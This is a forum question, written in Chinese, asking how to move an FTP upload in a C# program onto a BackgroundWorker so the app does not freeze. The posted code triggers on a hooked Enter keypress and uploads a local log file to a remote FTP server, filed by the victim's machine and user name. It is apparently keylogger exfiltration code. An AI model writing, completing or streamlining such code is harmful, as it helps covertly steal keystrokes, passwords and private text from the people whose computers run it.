我无法弄清楚如何处理我的 FTP 上传脚本。我试图让它从 C# 控制台应用程序上传。我不喜欢它在上传时冻结应用程序的事实。我听说过使用“后台工作人员”,但我完全不知道如何设置它。我一直在寻找一段时间。能给我举个例子?谢谢。
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}